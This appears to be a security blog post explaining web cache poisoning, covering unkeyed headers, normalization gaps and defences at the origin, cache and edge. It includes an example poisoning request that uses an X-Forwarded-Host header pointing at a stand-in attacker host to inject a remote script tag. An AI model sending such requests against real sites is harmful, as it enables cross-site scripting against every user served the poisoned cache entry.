Web Cache Poisoning: How Performance Infrastructure Becomes an Attack Amplifier

Web Cache Poisoning: How Performance Infrastructure Becomes an Attack Amplifier

Jason

Jason

@Jason

In 2018, James Kettle of PortSwigger published research that formalized a vulnerability class that had existed informally for years: web cache poisoning. The core insight was precise and devastating. Caching systems decide whether two requests are "the same" by computing a cache key , typically from the HTTP method, host, path, and a subset of query parameters. But the origin server's response may vary based on request dimensions that the cache key does not include: headers like X-Forwarded-Host, X-Forwarded-Scheme, cookies, the Accept-Language header, or custom headers used for A/B testing and feature flags.

When a request dimension affects the response but is not included in the cache key, an attacker can craft a request with a malicious value for that dimension, receive a poisoned response from the origin, and have that response cached under a key that matches legitimate user requests. Every subsequent user whose request matches the cache key receives the attacker's poisoned response. A single malicious request becomes thousands , or millions , of poisoned responses, amplified by the caching infrastructure that was designed to improve performance.

This is not a CDN bug. It is a design mismatch between two systems that each behave correctly in isolation. The cache correctly stores and serves responses based on its configured key. The origin correctly varies its responses based on the full request context. The vulnerability exists in the gap between these two behaviors.

The Mechanics in Detail

The canonical cache poisoning attack follows a three-step sequence:

  1. Identify an unkeyed input. The attacker finds a request header, parameter, or cookie that affects the origin's response but is not part of the cache key. Common unkeyed inputs include X-Forwarded-Host (which many frameworks use to generate absolute URLs in HTML), X-Forwarded-Scheme (which may cause HTTP-to-HTTPS redirects), X-Original-URL or X-Rewrite-URL (which some web servers use to override the request path), and various custom headers used by CDN or application features.

  2. Craft a poisoned request. The attacker sends a request with the malicious unkeyed header. For example, if X-Forwarded-Host is reflected in <link> or <script> tags in the response:

GET /page HTTP/1.1
Host: vulnerable.example.com
X-Forwarded-Host: attacker.example.com

The origin generates a response containing:

<script src="https://attacker.example.com/assets/main.js"></script>
  1. The poisoned response is cached. The cache stores this response under the key for GET /page on vulnerable.example.com. The X-Forwarded-Host header is not part of the key, so the poisoned response is served to every subsequent request for /page.

The impact depends on what the unkeyed input controls in the response. If it controls script sources, the attacker achieves persistent cross-site scripting through the cache , affecting every user who requests the poisoned page for the duration of the cache TTL. If it controls redirect destinations, the attacker can redirect users to phishing pages. If it controls the response body, the attacker can replace legitimate content with arbitrary HTML.

sequenceDiagram participant Attacker participant CDN as CDN / Cache participant Origin as Origin Server participant Victim Attacker->>CDN: GET /page<br/>Host: vulnerable.example.com<br/>X-Forwarded-Host: attacker.example.com CDN->>Origin: GET /page (cache miss)<br/>Forwarded headers included Origin-->>CDN: 200 OK with script src=attacker.example.com CDN->>CDN: Cache response under key (method+host+path) CDN-->>Attacker: Poisoned response Note over CDN: Cache now contains poisoned response<br/>for key: GET vulnerable.example.com/page Victim->>CDN: GET /page<br/>Host: vulnerable.example.com CDN-->>Victim: Cached poisoned response<br/>(script loads from attacker.example.com) Note over Victim: Victim's browser executes<br/>attacker's JavaScript

Why This Is Harder to Fix Than It Appears

The obvious fix is to include all response-varying inputs in the cache key. If the response varies by X-Forwarded-Host, add X-Forwarded-Host to the cache key. Problem solved.

In practice, this is difficult for several reasons. First, the set of response-varying inputs is often not fully known. The origin application may reflect headers that the development team does not realize are reflected, especially headers that are processed by middleware, web server modules, or framework internals rather than application code. A comprehensive audit of which headers affect which responses requires testing every header against every cacheable endpoint , a combinatorial exercise that is rarely performed.

Second, adding dimensions to the cache key reduces cache effectiveness. If the cache key includes Accept-Language, then a page cached for English-speaking users will not serve French-speaking users, and vice versa. Each additional dimension in the cache key multiplies the number of cached variants, reducing the hit rate and increasing storage requirements. There is a genuine engineering tension between cache effectiveness (maximizing the hit rate by using a minimal key) and cache safety (minimizing poisoning risk by including all varying dimensions in the key).

Third, many unkeyed inputs should not be in the cache key because they should not affect the response at all. X-Forwarded-Host reflected in HTML is not a feature , it is a misconfiguration. The correct fix is to stop the origin from reflecting untrusted headers in responses, not to add those headers to the cache key. But fixing the origin behavior requires identifying and modifying every code path that reflects the header, which may span multiple services, frameworks, and middleware layers.

The Landscape of Unkeyed Inputs

Kettle's research and subsequent work by others have catalogued a growing taxonomy of unkeyed inputs that enable cache poisoning:

Forwarded/proxy headers. X-Forwarded-Host, X-Forwarded-Proto, X-Forwarded-Port, X-Forwarded-Scheme. These are used by frameworks and web servers to construct URLs and redirect targets. Many CDNs and load balancers add these headers but do not include them in cache keys, and many applications reflect them in HTML without validation.

Route override headers. X-Original-URL, X-Rewrite-URL. IIS and some proxies use these headers to override the request path. If the cache keys on the visible path but the origin routes on the override header, the attacker can serve responses for different paths under the cache key for a benign path.

Normalization differences. The cache and the origin may normalize the request path differently. The cache may strip trailing slashes, decode URL-encoded characters, or collapse double slashes, while the origin treats the unnormalized and normalized paths as different. This creates situations where two requests that the cache considers identical produce different origin responses, or vice versa.

Query parameter poisoning. If the cache keys on some query parameters but not others (a common optimization for ignoring tracking parameters like utm_source), an attacker can inject poisoned content through the unkeyed parameters while the response is cached under a key that matches clean requests.

Fat GET requests. Some CDNs cache responses to GET requests that have a body, keying only on the URL. If the origin's response varies based on the GET body, the cache cannot represent this variation, and the body becomes an unkeyed input.

Defense Architecture

The defense against cache poisoning requires coordination between the origin and the cache , two systems that are often managed by different teams with different priorities.

At the origin: eliminate response variation from untrusted inputs. The origin should not reflect X-Forwarded-Host or similar headers in response content unless the header values are validated against an allowlist. Better yet, the origin should use server-side configuration (environment variables, explicit hostname settings) to generate absolute URLs, rather than trusting request headers. This eliminates the vulnerability class at the source, regardless of cache key configuration.

At the cache: key on all varying dimensions or disable caching for varying responses. If a response genuinely varies by Accept-Language or a custom header, the cache must either include that dimension in the key or not cache the response. The cache's Vary response header is designed for this purpose: Vary: Accept-Language tells the cache to key on that header. But Vary is often ignored or poorly supported by CDN implementations, and some CDNs have limits on the number of Vary dimensions they support.

At the boundary: strip unexpected headers before they reach the origin. The CDN or load balancer should remove any request headers that the origin does not need and that could influence the response. If the origin does not use X-Forwarded-Host, strip it at the edge. This is a defense-in-depth measure that prevents unknown reflection points from being exploitable even if the origin has headers it does not expect.

Cache segmentation by trust level. Authenticated and personalized responses should not be cached in shared caches. Responses that contain user-specific content, set cookies, or vary by authorization context should include Cache-Control: private or no-store. The edge cache should enforce this, treating any response with Set-Cookie or Authorization-dependent content as uncacheable by default.

Monitoring for cache anomalies. Cache hit/miss ratio changes, sudden increases in cached variant count, and responses served from cache that differ from expected content are signals that may indicate poisoning. A canary system that periodically fetches cached pages and validates their content against expected hashes can detect poisoning within the cache TTL, enabling purge-and-investigate before the poisoned content reaches many users.

The Scale of the Problem

Cache poisoning is particularly concerning because of its amplification factor. A single malicious request, costing the attacker nothing, can poison a page that is served to millions of users for the duration of the cache TTL. The impact per unit of attacker effort is among the highest of any web vulnerability class. And the forensic challenge is significant: the poisoning request may be indistinguishable from a normal request in access logs (it used a valid path, a valid method, and a header that the server accepted), and the cache may not retain the original request that populated a given cache entry.

The fundamental lesson is that caching is not a transparent performance optimization. It is a security-relevant architectural decision that changes the trust model of the application. An application that generates safe responses for every request may still serve unsafe content if a cache stores a response that was generated for a malicious request and serves it to legitimate ones. Performance infrastructure is part of the security perimeter, and the gap between what the cache keys on and what the origin varies on is a gap that attackers will find and exploit.

Integrate Axe:ploit into your workflow today!